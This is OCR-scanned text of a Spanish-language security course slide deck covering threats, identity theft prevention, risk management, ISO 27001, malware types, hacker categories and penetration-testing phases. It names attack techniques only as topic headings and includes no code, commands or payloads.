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Problematicas de Seguridad de la

Informacion

> ¢Qué es una amenaza?

» Principales amenazas

» Ataques: Internos / Externos
> Clasificacion de ataques

» Anatomia de un ataque

» Robo de datos Personales

S

Cedido por el autor a www.segu-info.com.ar




Problematicas de Seguridad de la

Informacion

¢, Qué es una Amenaza?

Una amenaza es cualquier violacion
potencial de la seguridad.
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Problematicas de Seguridad de la

Informacion

Principales Amenazas a la gue esta sometida una red

» Destruccion de la informacidén u otros recursos.

» Madificacion de la informacion, produciendo afiadidos,
sustracciones o permutas entre sus distintas partes.

» Robo de informacion o publicacion indebida de ésta, de forma que
personas diferentes a las legitimamente implicadas tengan
conocimiento de ella.

> Interrupcion del servicio, consiste en que un determinado usuario
deja de tener acceso a un recurso o servicio de la red.
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Problematicas de Seguridad de la

Informacion
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Problematicas de Seguridad de la

Informacion
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Problematicas de Seguridad de la

Informacion

Clasificacion de Atagues en cuanto a modo de actuar
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Problematicas de Seguridad de la

Informacion

Nucleo del Negocio

Insiders Attacks

./ Outsiders Attacks
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Problematicas de Seguridad de la

Informacion

Anatomia de un Atague
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Informacion

Cedido por el autor a www.segu-info.com.ar




Problematicas de Seguridad de |a

Informacion

|

Se produce el robo de datos personales
cuando terceras personas obtienen
ilegalmente su informacion personal.
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Problematicas de Seguridad de |a

Informacion

» Roban registros o informacion mientras que se
encuentran en el trabajo.

» Sobornan a empleados que tienen accesos a los
registros.

» Buscan en la basura papales que posean datos
sensibles.

» Enganan a los empleados para obtener
informacion.
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Problematicas de Seguridad de |a

Informacion

» Utilizan software espia.
» Recolectan informacion de la Web.
» Negligencia por parte de administradores de base de datos.

» Phishing
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Problematicas de Seguridad de |a

Informacion

> Pueden robar su correspondencia, entre la que podri  an
encontrarse resumenes de cuentas bancarias y de tar  jetas
de credito.

» Pueden obtener sus informes crediticios aprovechand ose
Indebidamente del acceso autorizado que sus emplead  ores
tienen a estos registros.

» Pueden robar informacion personal a través de su co rreo
electronico o teléfono haciéndose pasar por represe ntantes
de compafias con la excusa de que existe un problem  acon
Su cuenta .

Cedido por el autor a www.segu-info.com.ar




Problematicas de Seguridad de |a

Informacion

» Adquirir cuentas de crédito a nombre suyo.
» Alguilar una vivienda.
» Abrir cuentas de servicios publicos.

» Ganar acceso a sus cuentas bancarias.
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Problematicas de Seguridad de |a

Informacion

> Abrir nuevas cuentas de tarjeta de crédito a nombr  es de otras
personas.

» Pueden establecer servicios telefonicos.
» Pueden abrir una cuenta bancaria a su nombre.

» Pueden declararse en bancarrota usando su nombre pa  ra evitar
el pago de alguna deuda.
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Problematicas de Seguridad de |a

Informacion

» Verificar con regularidad sus historiales creditici 0S.
» Tener cuidado al datos por teléfono.

» Denuncie la pérdida o el robo de cheques y tarjetas de
crédito de inmediato.

» Verifique sus estados de cuentas bancarias
periddicamente.
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Problematicas de Seguridad de |a

Informacion

» Destruya o Triture documentos que tengan sus datos
antes de tirarlos a la basura.

» No divulgue su contrasefia o PIN.
» Memorice su PIN y no lo escriba en ninguna parte.

» No ingrese el numero de su tarjeta de credito en su
sitio Web sin seguridad.
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Problematicas de Seguridad de |a

Informacion

Guarde reqistros de:

» NUmeros de cuenta.
» Fechas de vencimiento.

» Facturas pagas e impagas
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Arquitectura de Seguridad
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Arquitectura de Seguridad

Autenticacion

Garantiza gue una entidad comunicante (una persona
O una maquina) es quien dice ser.

Legitima

RS

Autenticacion

Maliciosa
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Arquitectura de Seguridad

—
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Arquitectura de Seguridad

Confidencialidad

Proporciona proteccion para evitar
gue los datos sean revelados,
accidental o deliberadamente, a un
usuario no autorizado.

Base de /
Datos

B Datos |Ieg|bles NO Autorizado
Cedido por el autor a
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Arquitectura de Seguridad

Integridad

Garantiza al receptor del mensaje que los
datos recibidos coinciden exactamente con
los enviados por el emisor de los mismos.

» No ha sido anadida.
» Modificada
» Sustraida
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Arquitectura de Seguridad

No Repudio

Evita que alguno de los participantes en la comunic acion
niegue (repudie) haber formado parte de ella.

Comunicacion
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Arquitectura de Seguridad

Control de Acceso

Evita el uso no autorizado de los
recursos de la red.

A

f ——— )

Administrador

Acceso No Autorizado —

Usuario
Malicioso
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Arquitectura de Seguridad

Disponibilidad

Permite que los datos estén
disponibles a los usuarios que
estan autorizados a acceder a

ellos.

DATOS

A

L —— 1

Usuario Autorizado

@ I I
Usuario No Autorizado
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Administracion de Riesgos

N
» ¢ Qué es un Activo?
» Diferentes tipos de Activos
» En que consiste la administracion de riesgos
» Plan de respuesta a Incidentes
J
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Administracion de Riesgos

¢, Qué es un Activo?

Un Activo es algo que tiene valor o
utilidad para la organizacion, sus
operaciones y su continuidad.

Los activos necesitan ser protegidos
para asegurar el correcto
funcionamiento de la entidad y la
continuidad de la misma.
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Administracion de Riesgos

Fisicos
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Administracion de Riesgos

Activos de Informacion

» Base de Datos

» Documentos del Sistema E
» Planes de Continuidad

» Oftros
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Administracion de Riesgos

Documentos Impresos

> Documentos Impresos |

» Contratos

» Resultados Importantes del Negocio
» Otros
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Administracion de Riesgos

Activos de Software

» Software de Aplicacion

» Herramientas de Desarrollo
» Software del Sistema

» Oftros
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Administracion de Riesgos

Activos Fisicos

» Equipos de computacion y comunicacion

» Medios Magnéticos =
» Otros equipos técnicos i
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Administracion de Riesgos

Personas

> Personal

» Clientes

» Suscriptores
» Otros
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Administracion de Riesgos

Servicios

» Servicios de Computacion
» Servicios de Comunicacion
» Otros
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Administracion de Riesgos

¢, En que consiste la administracion de riesgos?

La administracion de riesgos se encarga del
estudio de riesgos a los gue esta sometido un
sistema informatico.
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Administracion de Riesgos

La administracion y evaluacion de riesgos
conlleva a un proceso de analisis y
valoracion de riesgos que esta basicamente

compuesto por:
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Administracion de Riesgos

Identificacidon de Activos

Riesgo Residual Identificacion de Amenazas

Opciones apropiadas

de tratamiento de riesgo Calculo de Riesgos

Cedido por el autor a www.seqgu-info.com.ar




Administracion de Riesgos

|dentificacion de Activos

Activos de informacion__: base de datos, documentos del sistema, planes de
continuidad, etc.

Documentos Impresos __: documentos impresos, contratos, resultados importan tes
del negocio, etc.

Activos de Software : software de aplicacion, herramientas de desarroll 0, software
del sistema, etc.
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Administracion de Riesgos

ldentificacion de Activos

Activos Fisicos : Equipos de comunicacion y computacion, medios mag néticos,
otros equipos técnicos.

Personas : Personal, clientes, suscriptores.

Servicios : Servicios de computacion y comunicacion.
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Administracion de Riesgos

La importancia en que radica una
identificacion y tasacion de activos es
basarnos en las necesidades del
negocio de la organizacion.
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Administracion de Riesgos

|dentificacidon de Amenazas

Los activos estan potencialmente sujetos a
muchos tipos de amenazas.

Estas amenazas pueden causar incidentes no
deseados.

El cual puede generar grandes dafos en el
sistema, a los activos y en el peor de los casos
dejar fuera de servicio a la organizacion.
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Administracion de Riesgos

Calculo de Riesgos

Los riesgos son calculados en base de la
combinacion de valores de los activos y
niveles de requerimientos de seguridad.

Calculo de
Riesgos

Cedido por el autor a www.seqgu-info.com.ar




Administracion de Riesgos

ACTIVOS m
b Requerimientos ||~
CLASIFICADOS de

|

Seguridad
—
) v PUblicos
PUBLICOS Baja Prioridad
Media Prioridad <

Alta Prioridad <
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Administracion de Riesgos

El Céalculo de Riesgos se basa en 2 aspectos:

cConsecuencia

La consecuencia de el dafo al negocio como
resultado de un incumplimiento de seguridad
y la probabilidad real de gque este

Probabilidad

/ incumplimiento suceda.
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Administracion de Riesgos

Opciones Apropiadas de Tratamiento de Riesgo

Las decisiones deben ser tomadas en base a los
Impactos en el negocio y en los activos.

>
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Administracion de Riesgos

Riesgo Residual

El nivel de riesgo existente después de la
Implantacion de salvaguardas se denomina riesgo
residual, y es el que separa a la organizaciondel a

“Seguridad Total o Perfecta”.
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Administracion de Riesgos

Plan de Respuestas a Incidentes
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Administracion de Riesgos

Plan de Respuestas a Incidentes

Una administracion de Riesgos no es nada sin un buen plan de
respuestas a incidente (PRI). Es muy necesario poder contrarrestar
y permitir seguir con el servicio (disponibilidad) sabiendo que
existen muchas posibilidades de una intrusion.
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Administracion de Riesgos

Plan de Respuestas a Incidentes

v Para esto un plan de respuestas a incidentes:

v Mitiga la publicacion del incidente.

v~ Mejora la imagen de la organizacion en caso de intrusiones.
v Establece unas métricas de actuacion.

v Investigar el Incidente.

v Restaurar los recursos afectados, asi permitiendo continuar
con el servicios.

v Reportar el incidente a entidades apropiadas.
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Total de Incidentes

Administracion de Riesgos

210000

180000

150000

120000

90000

60000

30000

Total de Incidentes Reportados ao CERT.br por Ano

197892

1999 2000 2001 2002 2003 2004 2003 2006

Ano (1999 a 2006)
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1ISO 17799 /1SO 27001

» Introduccion a la norma

» Beneficios de implementacion y certificacion ISO 27001
» Cuerpo de la Norma

» Modelo Plan-Do-Check-Act
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1ISO 17799 /1SO 27001

ISO 27001 /1SO 17799 es la norma internacional
aplicable para la implementacion de un Sistema de
Gestion de la Seguridad Informatica.

Proporciona una base para la elaboracion de las
normas de seguridad de las organizaciones.
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1ISO 17799 /1SO 27001

Publicada

ISO/CEI 17799:2005

Codigo de buenas practicas para la gestion de la
seguridad de la informacion.

ISO/CEI 27001:2005 — BS 7799 Parte 2

Especificaciones relativas a la gestion de la
seguridad de la informacion.
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1ISO 17799 /1SO 27001

ISO/CEI'17799:2005

Contiene consejos y recomendaciones
(controles) que permiten garantizar la
seguridad de la informacion en una empresa.

u

NO ES UNA NORMA CERTIFCABLE
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1ISO 17799 /1SO 27001

ISO/CEI 17799:2005

Posee 11 dominios de controles de sequridad

Politica de Seguridad.
Organizacion de Seguridad de la Informacion.
Gestion de Activos.

Seguridad de los Recursos Humanos.

a bk~ w0 D F

Seguridad fisica y medio ambiental.
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1ISO 17799 /1SO 27001

ISO/CEI 17799:2005

6. Gestion de Telecomunicaciones y
operaciones.

7. Control de Acceso a los datos.

8. Adquisicion, desarrollo y mantenimiento de
los sistemas de informacion.

9. Gestion de Incidencias.
10. Gestion de continuidad de operaciones.
11. Conformidad
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1ISO 17799 /1SO 27001

ISO/CEI 27001

El estandar ISO/CEI 27001 establece los requisitos para
un sistema de Gestion de Seguridad de la Informacion
(SGSI) y complementa el estandar ISO/CEI 27001.

Una organizacion que obtiene la certificacion es
considerada que complementa ISO/CEI 17799 y que
esta certificada bajo ISO/CEI 27001
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1ISO 17799 /1SO 27001

« ISO 27001 define mejores practicas para la gestion  de
seguridad de la informacion

* Una metodologia estructurada reconocida
Internacionalmente.

* Un proceso definido para el establecimiento,
implementacion, operacion, revision, mantenimiento y
mejoras de un SGSI.

* Es la certificacion ideal para organizaciones que
desean mejorar su seguridad e imagen corporativa.
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1ISO 17799 /1SO 27001

Beneficios de Implementacion y
Certificacion de ISO 27001
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1ISO 17799 /1SO 27001

Beneficlios

» Establecimiento de una metodologia de gestion
de la seguridad.

» Reduccion de Riesgos

» Los clientes tienen acceso a la informacion a
través de medidas de seguridad

» Mejoras en la imagen de la Organizacion

» Los riesgos y sus controles son continuamente
revisados

» El sistema se integra a otros sistemas de gestion
(1ISO 9001, 1SO 14001)
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1ISO 17799 /1SO 27001

Beneficlios

» Continuidad de Operaciones.

» Conformidad con la legislacion vigente sobre
informacion personal, propiedad intelectual y
otras.

» Elemento diferenciador de la competencia.

» Reduce Costos y mejora los procesos y
servicios.

» Aumenta la motivacion y satifaccion del
personal.
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1ISO 17799 /1SO 27001

Cuerpo de la Norma
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1ISO 17799 /1SO 27001

SGSI

Controles . :
Valoracion de Riesgos
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1ISO 17799 /1SO 27001

Este estandar fue confeccionado
para proveer un modelo:

v'Establecimiento
v’ Implementacion
v'Operacion
v"Monitorizacion
v'Revision
v'Mantenimiento
v'Mejoras de SGSI
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1ISO 17799 /1SO 27001

Una organizacion necesita identificar y
administrar cualquier tipo de actividad para
funcionar eficientemente.

( Datos > — m —
( Datos > Administracion _> -
( Datos > — =

( Datos > - Informacion
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1ISO 17799 /1SO 27001

Modelo
Plan-Do-Check-Act

!

ESTRUCUTRA DE PROCESOS SGSI
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1ISO 17799 /1SO 27001

PLANIFICAR
Establecimiento del SGSI:

= Definir el alcance del SGSI en términos del negocio

= Definir una politica de seguridad

= Definir una metodologia de evaluacion del riesgo
= |dentificar los Riesgos

» Analizar y Evaluar los Riesgos

= |dentificar y evaluar las distintas opciones de
tratamiento de los riesgos
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1ISO 17799 /1SO 27001

HACER

Implementar y Operar el SGSI:

= Formas de Operar e Implementar:

v
v
v
v

Politica
Controles
Procesos

Procedimientos
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1ISO 17799 /1SO 27001

VERIFICAR

Monitorizar y Revisar el SGSI:

= Ejecutar procedimientos de monitorizacion y
revision

= Medir |la efectividad de los controles

= Revisar el SGSI por parte de la direccion

= Registrar acciones y eventos
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1ISO 17799 /1SO 27001

ACTUAR

Mantener y Mejorar el SGSI:

= Acciones Preventivas

= Acciones Correctivas
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Amenazas & Vulnerabilidades

» Malware

» E-mail Bombing

» Spamming

» Principales Amenazas utilizadas para el espionaje

» Principales lugares de robo de datos o puntos vulnerables
» Fraude

» Amenazas Sociales

> Amenazas Web

S
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Principales Amenazas

> Backdoors > Bugs

> Troyanos » Worms
> Virus » Hijackers
» Adware

» Spyware

» Bots

» Keyloggers

» Spam
» Hoax
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Principales Amenazas

Infeccion de Malware

Critica
H A B
Al H E A
H A B
L1 LJ [LJ =

222 282 =22

=== ===
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Principales Amenazas

Alojamiento de sitios web con codigo malicioso por p aises en 2006 segun Sophos
Posicidn Pais Porcentaje
1 Estados Unidos e 34, o,
2 China S 31 0%
3 Rusia T asw
4 Paizes Bajos - 4 7%
5 Ucrania N
3 Francia 1 a%
7 TaiwsaEn N1,7%
g Aermania N1 5%
9 Hong Kong |1 L2
10 Cores N 0,9%

itros 10.5%



Principales Amenazas

Los 12 principales paises emisores de SPAM en el 20 06 segun Sophos

Posicion Pais Porcentaje

1 Estados Unidos a2

2 China (incluido Hong s g
Kong)

3 Corea del Sur T

4 Francia D 54%

5 Espafia L EREE

E Polonis T 4s%

7 Bt &l T a s

2 ttaliz e

g Aletmiania T

10 Reino Unido 1 9%

11 Ruszis 1 E%

12 Taiwvan 1 E%

Ctros 24 4%



Principales Amenazas

E-mail Bombing

El e-malil bombing consiste en enviar muchas
veces un mismo mensaje a una direccion de
correo electrénico con el objetivo de saturar la
casilla del destinatario.
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Principales Amenazas

Spamming

Es una variable del Email-Bombing.
Se envian a millones de personas.
Se envian con fines econdmicos.

Son perjudicables.
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Principales Amenazas

Principales Amenazas utilizadas
para el espionaje

Cedido por el autor a www.seqgu-info.com.ar




Principales Amenazas

¢2,Qué es un Troyano?

Un troyano (caballo de troya) es utilizado para entrar en un equipo
objetivo (victima) sin ser detectado, brindado al atacante privilegios y
acceso sin restricciones a los datos almacenados en el ordenador.

Los troyanos pueden ingresar a su computadora:
Ofuscado en un programa original
Por medio de Ingenieria Social
Instalacion rapida gracias al acceso fisico no autorizado

Desde un programa original
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Principales Amenazas

Para gue se usan los Troyanos

Con la utilizacion de un troyano el atacante tiene la posibilidad de
extraer informacion confidencial o de hacer dafio. Principalmente,
los troyanos son usados para espionaje industrial, ya que cuando

es incrustado en una red, tiene posibilidades de accesos.

Entre la informacioén que se puede obtener:

Documentos Confidencial
Direcciones de Correo Electronico
Informaciéon de Cuentas

Claves de Acceso

Otros
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Principales Amenazas

Tipos de Troyanos

Troyanos de Acceso Remoto

Permiten el control total del Ordenador

Troyanos de Destruccion

Sus principales funciones son de destruccion

Troyanos DoS comandados

Son especificos para hacer ataques de Denegacion de Servicio
comandados por una sola maquina.

Troyanos Proxy

Estos convierten al ordenador en un servidor proxy para futuros ataques.

Troyanos Bunkers

Llamados troyanos bancarios, roban datos bancarios del ordenador y los
reenvian a un sepdglas FRE&IR a vw.sequ-info.com.ar




Principales Amenazas

2,0ué es un Kevlogger?

Un keylogger es un software o dispositivo hardware capaz
de clonar los datos transmitidos desde el teclado al
computador.

La mayoria de los software keylogger envian los datos
obtenidos a una direccion de correo electronico, mientras
gue los dispositivos necesitan de un acceso fisico para
instalarlos y después sacarlos.

ey
o
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Principales Amenazas

Dispositivo Keylogger

= (-
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Principales Amenazas

2,0ué es un Spyware?

Los software espia, son programas que recolectan
informacion del usuario o de la organizacion. La principal
funcion gque tiene este tipo de malware es la de recopilar
datos de usuarios y distribuirlos a organizaciones
interesadas.

Este tipo de software puede ser instalado mediante:
Virus
Troyanos

Software integrados con spyware
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Principales Amenazas

Principales lugares de robo de
datos o puntos vulnerables
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Principales Amenazas

El rea de trabajo

Una persona que pueda acceder al area de trabajo de los usuarios
puede buscar rapidamente todo tipo de informacion sensible, como
pueden ser:

Nombres de Usuarios
Nombres de Sistemas
Contrasenas

Robar Disquetes
Robar CDROM
Listados

Otros
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Principales Amenazas

El rea de trabajo

Es muy frecuente encontrar usuarios:

_Dejen adherido al monitor una nota con su clave de acceso
Dejen expuesta una agenda
Dejen expuesto los cubos de basura

Otros
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Principales Amenazas

Robo de Portatil

El robo de portatil puede ocurrir casi en cualquier sitio. En caso de
gue algun individuo haya robada una portatil, podra acceder al
sistema y a todos sus ficheros. Por este motivo es muy importante
meétodos criptograficos para evitar que en estos casos pueda leer los
datos del disco.

Sabemos que un disco rigido se puede cifrar, pero no asi la memoria
RAM. Cualquier individuo con acceso a un ordenador puede editar la
Memoria RAM y recolectar informacion, “minima”, pero en algunos

cuando quedan fragmentos sin sobreescribir la informacion es legible.
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Principales Amenazas

Accesos Fisicos al Sistema

Este es uno de los principales puntos de acceso para el robo de
datos. De distintas formas se pueden llegar a acceder a un sistema
fisico, como puede ser, haciéndose pasar por un técnico o por dejar
la computadora prendida durante un tiempo en el gue no estemos.
Mucha gente suele dejar el ordenador prendido cuando sale de las
oficinas, hasta el otro dia, o hasta las otras semanas, y sin ninguna
proteccion debida.

Esta amenaza tendria que ser un factor indiscutible a la hora de crear
un plan de seguridad, ya que el %90 de los problemas que existen en
una organizacion con respecto a riesgos, son por parte del factor
humano.
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Principales Amenazas

Usuarios y Contrasenas por Defecto

Muchos software y dispositivos traen por defecto usuarios y
contrasefas gque nunca son modificadas.

Esta brecha entre el usuario y el desastre es muy comun entre
los usuarios que desconocen de seguridad. Por lo que es
necesario principalmente educar a todos los individuos en el
para crear un ambiente seguro y controlado.

Cedido por el autor a www.segu-info.com.ar




Principales Amenazas

Fraude

(Phislhing) ("smishing ) (Visrling )
| | l
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Principales Amenazas

Sociales

I I |
<Crackers ) Gcrlpt Klddles> CP?L?%TaI ) <Terroristas>
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Principales Vulnerabilidades

» Cross Site Scripting

» DNS Spoofing

» Exploits de Servicios

» Exploirts de Servidores

» Defaults usernames/passwords
» Denegacion de Servicio

» Ejecucion Remota de Caodigo
» SQL Injections

» Vulnerabilidades de Browser

. [&
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» Spoofing
» Exposicion de datos sensibles
» Brute Force

» Manipulacion de Datos
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Estadisticas

Secunia Security Advisories
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All Advisories Impact (2003 -

2007)

=ystem access (26.23%)
CoS (19.95%)

Privilege escalation (8.74%)
Exposure sensitive info (9.20%)
Exposure system info (3.91%)
Brute Force (0.09%)
Manipulation of data (8.46%)
spoofing (1.55%:)

Cross Site Scripting (11.48%:)
Security bypass (B.80%)
Hijacking (0.37%)

Unknown (1.21%)

This graph was generated by Secunia.
Based on vulnerability information available at http://secunia.com/




HACKING

Conceptos Basicos
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Hacking

™
> ¢, Qué es un Hacker?
» Cualidades de un Hacker
» Clasificacion
» BlackHat and WhiteHat
-
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¢, Qué es un Hacker?

Un hacker es aquella persona que le

apasiona el conocimiento, descubrir o

aprender nuevas cosas y entender el
funcionamiento de éstas.

Se los asocia a aquellas personas
gue poseen elevados conocimientos
de seguridad informatica
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¢, Qué es un Hacker?

Cualidades de un Hacker

v Discreto

v" Inconformista

v Programador Entusiasta

v" Innovador

v" Disfruta de Retos Intelectuales
v Curioso

v Paciente

v Ingenioso
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Distintos tipos de Hackers

HACKER
|

i

Buenos Malos
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Objetivos de los distintos tipos de

Hackers

WHITEHAT

» Usan sus conocimientos con buenos fines
» Ayudan a la comunidad

» Crean e Innovan la tecnologia

» Favorecen la libertad del conocimiento

» No hacen dafno

» Representan la linea ética de los hackers
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ODbjetivos de los distintos tipos

de Hackers

Los hackers WhiteHat son mayormente contratados par a:

> Auditorias de Seguridad Web

» Auditorias de Seguridad de Cddigo Fuente

» Auditorias de Seguridad de Servidores

» Auditorias de Seguridad de Aplicaciones

» Programacion de herramientas de Seguridad

» Lideres de Proyectos
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Objetivos de los distintos tipos de

Hackers

BLACKHAT

» Usan sus conocimientos con fines maliciosos

» Acceden ilegalmente a sistemas gubernamentales
» Producen Intrusiones ilegales

» Roban Informacion

» Distribuyen material ilegal

» Fabrican Virus

» Fabrican herramientas de Crackeo
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ODbjetivos de los distintos tipos

de Hackers

Los hackers BlackHat son mayormente contratados par a.

» Romper algoritmos de seguridad
» Programar Malware

» Atacar servidores de empresas
» Cyberwars

» Robar informacion confidencial

» Descubrir nuevos fallos de software
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Penetration Test

> ¢ Qué es un Penetration Test?

> ¢, Qué es un Intruso?

» Diferentes Atacantes

» ¢ Por qué es tan importante un Penetration Test?
» Metas de un atacante

» ¢ Qué se testea?

» Consideraciones de un Penetration Tester

» Simulacion de Ataques

> Ambientes de un Penetration Test
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Penetration Test

» Tipos de Ataques

» Alcances

» Penetration Test Interno

» Penetration Test Externo

» Etapas de un Penetration Test

» Investigacion de vulnerabilidades

» ¢ Como se realiza un Penetration Testing?

» Reporte General
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Penetration Test

¢, Que es un Penetration Testing?

Ataque

JT =

Intruso |
Servidor
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Penetration Test

¢, Qué es un Intruso?

Un intruso es un individuo que desea acceder a
los sistemas e informacion de forma no
autorizada o autorizada con fines maléficos.
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Penetration Test

Profesionales

= Veloces

= Precisos

= Cuidadosos
= Creativos

Diferentes Atacantes

Intrusos
Crackers Script Kiddies
= Audaces = Torpes
= Creativos = Dejan Rastros
= Ingeniosos = Lentos

= \Veloces
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= Grupales
= Precisos
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Penetration Test

¢ Por qué es tan importante un Test de Intrusion?

Permite evaluar su seguridad interna y externa.

Permite encontrar brechas de seguridad.

Permite determinar riesgos posibles.

Permite valorar a que nivel de riesgo esta expuesta su organizacion.

Permite medir la seguridad de un sistema, de la red o de un proceso del negocio.
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Penetration Test

Metas posibles de un Penetration Testing

Cuanta informacion de nuestra red esta al publico disponible.
Si es posible comprometer nuestra red y nuestros sistemas.
Si es posible interrumpir los procesos del negocio.

Que tan efectivos son nuestros controles de seguridad: Firewall — IDS .
Que tan efectivas son nuestros politicas de seguridad..

¢ Realmente estamos seguros?
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Penetration Test

¢, Qué se Testea ?

Servidores vy Estaciones de Trabajo

- Servidor Web —
- Servidor de Base de Datos

- Controladores de Dominio

- Estaciones de Trabajo
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Penetration Test

¢, Qué se Testea ?

Infraestructura

- Dispositivos de Red
- Redes Wireless
- VPNSs

Aplicaciones

Empleados

Todo lo gue pueda ser una amenaza
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Penetration Test

Consideraciones del Penetration Tester

Las soluciones deben ser eficientes y realistas.

El test debe ser creativo.

El test debe cumplir con varias leyes.

El Security Tester debe trasmitir confianza al cliente.

Debe ser metddico y habilidoso.
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Penetration Test

Simulacion de Ataques

Qutsiders Attackers Business Core

Terroristas
, Outsiders
Competidores
P Attackers
Script Kiddies
Periodistas
Curiosos
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Penetration Test

Simulacion de Ataques

_ Business Core
Insiders Attackers

Empleados Insiders
Attackers

Consultores

Contratistas

Empleados disgustados
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Penetration Test

Ambientes de un Penetration Test

WHITEBOX

(Con informacion del Objetivo)

BLACKBOX .-’

(Sin informacion del Objetivo)

GREYBOX i

(Hibrido)
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Penetration Test

Tipos de Ataque

Maodifican el flujo de datos transmitido

‘ chlvos “l

‘ PASlIVOS Il\

No alteran el flujo de datos
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Intercepcion
Modificacion
Fabricacion

Destruccion

Escucha

Transmite



Penetration Test

Alcances

El alcance de un Penetration Testing puede ser dete  rminado en
algun area de la organizacion o cubrir la totalidad de la misma.

Area X

A

Alcance
Amplio

Organizacion Organizacion
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Penetration Test

Alcances

(imemo)  (nemo)
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Penetration Test

Penetration Testing Interno

Se simulan ataques e intentos de intrusiones como
si fueran provenientes dentro de la organizacion.

Testing de Dispositivos de Red
Testing de Servidores
Testing de Aplicaciones

Testing de Workstation
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Penetration Test

Penetration Testing Externo

Se simulan ataques e intentos de intrusiones como
si fueran provenientes desde afuera de la

organizacion.

Testing de Aplicaciones Web

Testing de Servidores @
—_—

Testing de Accesos Telefonicos
Attacker

Testing de redes Wireless
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Penetration Test

Etapas de un Penetration Testing
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Definicion del Alcance

Metodologia a Utilizar

Aplicacion Metodoldgica

Evaluacion de Resultados

Medidas Preventivas

Informe Final
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Penetration Test

Investigacion de Vulnerabilidades
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Penetration Test

Investigacion de Vulnerabilidades

La investigacion y analisis de vulnerabilidades es un factor muy
Importante en un Penetration Testing.

Gracias a ello podemos valorizar riesgos, incidente sy desastres.

Las metodologias para un analisis de vulnerabilidad es pueden ser:

Automaticas » Vulnerability Scanners

v

Manuales Busqueda Manual de Vulnerabilidades
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Penetration Test

Vulnerability Sacnning

Buscan automaticamente vulnerabilidades conocidas de servicios y sistemas
operativos

En algunos casos permiten la explotacion de la “vulnerabilidad .
Generan reportes.

Se Actualizan peridédicamente.

iLANguard @ N-Stalker

W

MNessus
Yulnerability Scanner

Nessus
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Penetration Test

Busqueda Manual de Vulnerabilidades

Después de un escaneo automatico de vulnerabilidades siempre es
bueno verificar manualmente las mismas, para evitar falsos
positivos.

En casos de existir alguna vulnerabilidad O-day es recomendable
testearta manualmente, porque comunmente los scanners tardan un
tiempo en actualizarse, y este tiempo nos podria traer grandes
problemas econdmicos en el caso de que un intruso penetre
nuestros servidores con una vulnerabilidad 0-day y nos robe datos
confidenciales, como por ejemplo: El plan de marketing 2007
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Penetration Test

Busqueda Manual de Vulnerabilidades

Links de interés sobre vulnerabilidades 0-day:

SecurityFocus - http://www.securityfocus.org

CVE - http://cve.mitre.ort

CERT - http://www.cert.org

Open Security Vulnerability Database - http://osvdb.org

Secunia — http://secunia.orqg
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Penetration Test

¢, Como se realiza un Penetration Testing?

La metodologia de evaluacion se divide en 4 grandes fases:

Descubrimiento
Exploracion
Evaluacion

Intrusion
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Penetration Test

Fase de Descubrimiento

La fase de descubrimiento, también llamada Information Gatheting
se realiza, tratando de recolectar la mayor cantidad de informacion
publica posible sobre:

Servidores
Servicios
Aplicaciones
Topologia de Red
Usuarios
Organizacion

Y toda aquella informacion que pueda llegar a servir para el

Penetration Testing.
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Penetration Test

Fase de Descubrimiento

Entre la informacion que puede ser recolectada se e  ncuentran:
Rangos de Direcciones IP
Direcciones IP criticas (Servidores y Bases de Datos)
Numeros de Teléfono
Direcciones Fisicas de la organizacion
Analisis de Paginas Web
Tipos de Red (Wireless/Cableada)
Fuentes de Informacion

Plataformas
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Penetration Test

Recoleccion de Documentos

Es muy importante la evaluacion de la informacion testeada.

Dentro de lo que es una Recoleccion de Documentos o Evaluacion
de informacion obtenida en la fase de descubrimiento, se pueden
encontrar resultados esperados de:

Perfil de la Organizacion y de los empleados.
Perfil de la tecnologia usada en la organizacion.

Perfil de la red de la organizacion
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Penetration Test

Fase de Exploracion

La fase de Exploracion consta de establecer los objetivos para las
posteriores fases, trabajando en base a la informacion obtenida en la
fase de Descubrimiento.

Se aplican técnicas no intrusivas para identificar posibles blancos.
Incluye entre otros:
Port Scanning (TCP/UDP)
OS Fingerprinting
Deteccion Remota de Servicios
Deteccion de Aplicaciones/Directorios/Archivos Web
|dentificacion de Dominios

Analisis de Banners
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Penetration Test

Fase de Exploracion

Se intentan explorar todos los posibles puntos de entradas al sistemay
a la red, utilizando técnicas

Deteccion de Firewalls

Deteccion de Intrusion Detection System
Confirmacion de Rangos de Direcciones IP
Deteccion de Servicios Activos y sus propiedades

Deteccion del Sistema Operativo en uso.
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Penetration Test

Fase de Evaluacion

La fase de evaluacion esta basada en el analisis de toda la
informacion obtenida en las fases anteriores, para la deteccion y
bdsqueda de vulnerabilidades especificas.

En esta fase se evalla la totalidad de la seguridad en todos los
niveles.

Incluye entre otros:
Vulnerability Scanning
Busqueda manual de vulnerabilidades
Enumeracion de configuracion

Enumeracion de usuarios y sus perfiles
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Penetration Test

Fase de Intrusion

En la fase de intrusion, el objetivo principal es penetrar los sistemas,
realizando pruebas de los controles de seguridad y ataques a través
de vulnerabilidades de los sistemas identificados anteriormente:

Ejemplo:

Sistema Operativo: Windows XP Sp2
Servicio: FTP
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Penetration Test

Fase de Intrusion

En esta fase se pone a prueba:

El profesionalismo de los Penetration Testers.
Su creatividad.

Su nivel de conocimiento.
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Penetration Test

Reporte General

Al finalizar con el Penetration Test, es necesario la creacion de un
reporte final, el cual contendra:

Alance
Metodologia Aplicada
Pruebas de cada ejecucion

Medidas Preventivas
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Penetration Test

Importante

Es de suma importancia mantener al tanto al cliente, de cada
ejecucion que pueda dar problemas en el funcionamiento de los
servicios. Para que el mismo pueda generar un plan de
continuidad de servicio en caso de que surja algun inconveniente.
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Penetration Test

Mejoras de nivel de riesgo después de un Penetratio n Test

90+

8017

701

60 1]

50177 [1 Antes de un

40171 P.T

3017] B Despues de un

201 P.T

1071
0

Riesgos
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Técnicas y Metodologias

N

» Port Scanning

» Tipos de Escaneo de Puertos

> ldentificacion de Servicios

» OS fingerprinting

» Obtencion de Huellas en Internet
» Google Hacking

» Footprinting Google

» |ldle Scanning

» Ingenieria Social

» Web Fingerprinting /
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Técnicas y Metodologias

N

» DNS Mapping

» DNS Reverse Lookup

» Obtencion de Huellas verificando errores de directorios
» Captura de Cabeceras

» Archivos Publicos

» Verificacion de carpetas

» Datos sensibles en el Codigo Fuente
» Firewalking

» DoS

» DDoS

» Brute Force

-

Cedido por el autor a www.seqgu-info.com.ar




Técnicas y Metodologias

» Cross Site Scripting

» SQL Injection

» Remote File Inclusion

» Trashing

» War dialing

» War driving

» War walking

» Sniffing

» Reverse Shell

» Robo de sesiones: Caché del Navegador Web

-
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Técnicas y Metodologias

Information Gathering

